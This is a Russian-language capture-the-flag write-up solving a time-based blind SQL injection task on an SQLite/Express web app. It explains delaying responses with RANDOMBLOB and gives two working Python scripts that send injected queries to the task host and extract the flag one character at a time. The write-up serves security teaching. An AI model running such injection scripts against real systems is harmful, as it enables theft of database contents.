Райтап на задачу «Совсем слепая инъекция»

dikiyponos

Автор:

dikiyponos

5 ноября 2026

3

05.11.2026
Совсем слепая инъекция
Категория:

Web

Задача «Совсем слепая инъекция»

LastTeamLead

Автор:

LastTeamLead

Первая кровь:
xof
Сложность:
medium
Дата публикации:
19.09.2025
Решений:
151
Рейтинг:
4.85/5
Ссылка:
Решать

Откроем ссылку и посмотрим, что у нас тут есть. В отличие от предыдущего задания мы не получаем true/false, всё, что мы видим, — «I don’t know». Прочитаем исходники.

Решение задачи «Совсем слепая инъекция»: иллюстрация 1

Исходники небольшие, но позволяют нам узнать главное — базу данных.

Решение задачи «Совсем слепая инъекция»: иллюстрация 2

По наличию db.get и общему синтаксису понимаем, что это SQLite3 в Node.js (фреймворк Express). А, ну и ещё очевидно, что тут есть SQL injection:)

Как делается SQL-инъекция, когда мы даже не видим результата? Мы можем узнать по времени выполнения. Например в PostgreSQL можно реализовать следующую логику: «если буква == А, то сделай, пожалуйста, pg_sleep(5)». И так перебирать букву, пока не увидим задержку в ответе в ~5 секунд. Но у нас SQLite3 и там нет встроенной функции для сна как у MySQL и PostgreSQL. Что же делать?

На этот случай можно использовать встроенную функцию RANDOMBLOB() в SQLite. Когда условие сойдется, то можно заставить программу генерировать большое количество случайных байт, тем самым нагружая процессор и ответ придет заметно позже. Также можно увеличить нагрузку на ровном месте, связывая randomblob() с другими функциями. Гугл первым делом рекомендует UPPER(HEX(RANDOMBLOB(50000000))). Первый слой — 50 МБ случайных данных. Второй слой — функция hex() берет эти 50 МБ и конвертирует каждый байт в hex, тем самым он теперь занимает целых 2 символа. Теперь база данных обрабатывает 100 МБ. Третий слой — upper() делает каждый символ большим, что, если честно, не обязательно, hex и так возвращает по умолчанию uppercase-символы, это просто усилитель задержки.

Теперь, когда у нас есть вся необходимая теория для решения этой задачи, вооружаемся стабильным интернетом и пишем простенький скрипт.

import requests, time

URL = "https://full-blind-injection.t1.bug-makers.ru/check"

def query(c):
    start = time.time()
    requests.get(URL, params={"number": f"({c}) AND RANDOMBLOB(50000000)"})
    return (time.time() - start) > 0.3

flag = ""
for i in range(1, 200):
    # только printable ascii characters
    for c in range(32, 127):
        if query(f"(SELECT unicode(substr((SELECT flag FROM flag LIMIT 1),{i},1))={c})"):
            flag += chr(c)
            print(flag, flush=True)
            break
    else:
        break

print(flag)
Решение задачи «Совсем слепая инъекция»: иллюстрация 3

Этот скрипт перебирает все печатные ASCII-символы (от 32 до 127) в флаге, хорошо хоть в описании мы знаем, что нам нужен именно flag в таблице flag. Но если в тупую реализовать логику, что я описал прежде, то мы столкнёмся с суровой реальность. Сервер может сам по себе подвиснуть, может подскочить пинг или что-то такое. Для надёжности стоит делать на каждый запрос два замера и смотреть минимальное время, чтобы исключить ложные срабатывания и получить флаг в целостности. Значение 0.3 я захардкодил, чтобы не усложнять код замерами времени.

import requests, time

URL = "https://full-blind-injection.t1.bug-makers.ru/check"

def query(c):
    t = []
    for _ in range(2):
        start = time.time()
        requests.get(URL, params={"number": f"({c}) AND RANDOMBLOB(50000000)"})
        t.append(time.time() - start)
    return min(t) > 0.3
flag = ""
for i in range(1, 200):
    # только printable ascii characters
    for c in range(32, 127):
        if query(f"(SELECT unicode(substr((SELECT flag FROM flag LIMIT 1),{i},1))={c})"):
            flag += chr(c)
            print(flag, flush=True)
            break
    else:
        break

print(flag)
Решение задачи «Совсем слепая инъекция»: иллюстрация 4

Теперь остаётся только запустить скрипт и получить флаг.

Решение задачи «Совсем слепая инъекция»: иллюстрация 5

P.S. Скрипт можно оптимизировать с помощью бинарного поиска символа, реализацию пробуйте писать сами)

Если вы нашли опечатку или ошибку, пожалуйста, выделите фрагмент текста и нажмите Ctrl+Enter

Также по теме:

Райтап на задачу «Слепая инъекция»

/Разборы задач

Райтап на задачу «Слепая инъекция»

Пишем скрипт для слепой SQL-инъекции по ответам true/false и разбираем альтернативу с sqlmap.
Прочитать

2

Райтап на задачу «Обменник „У Апишечки“»

/Разборы задач

Райтап на задачу «Обменник „У Апишечки“»

Используем отсутствие проверки отрицательных сумм в API обмена валют и получаем нужный баланс.
Прочитать

2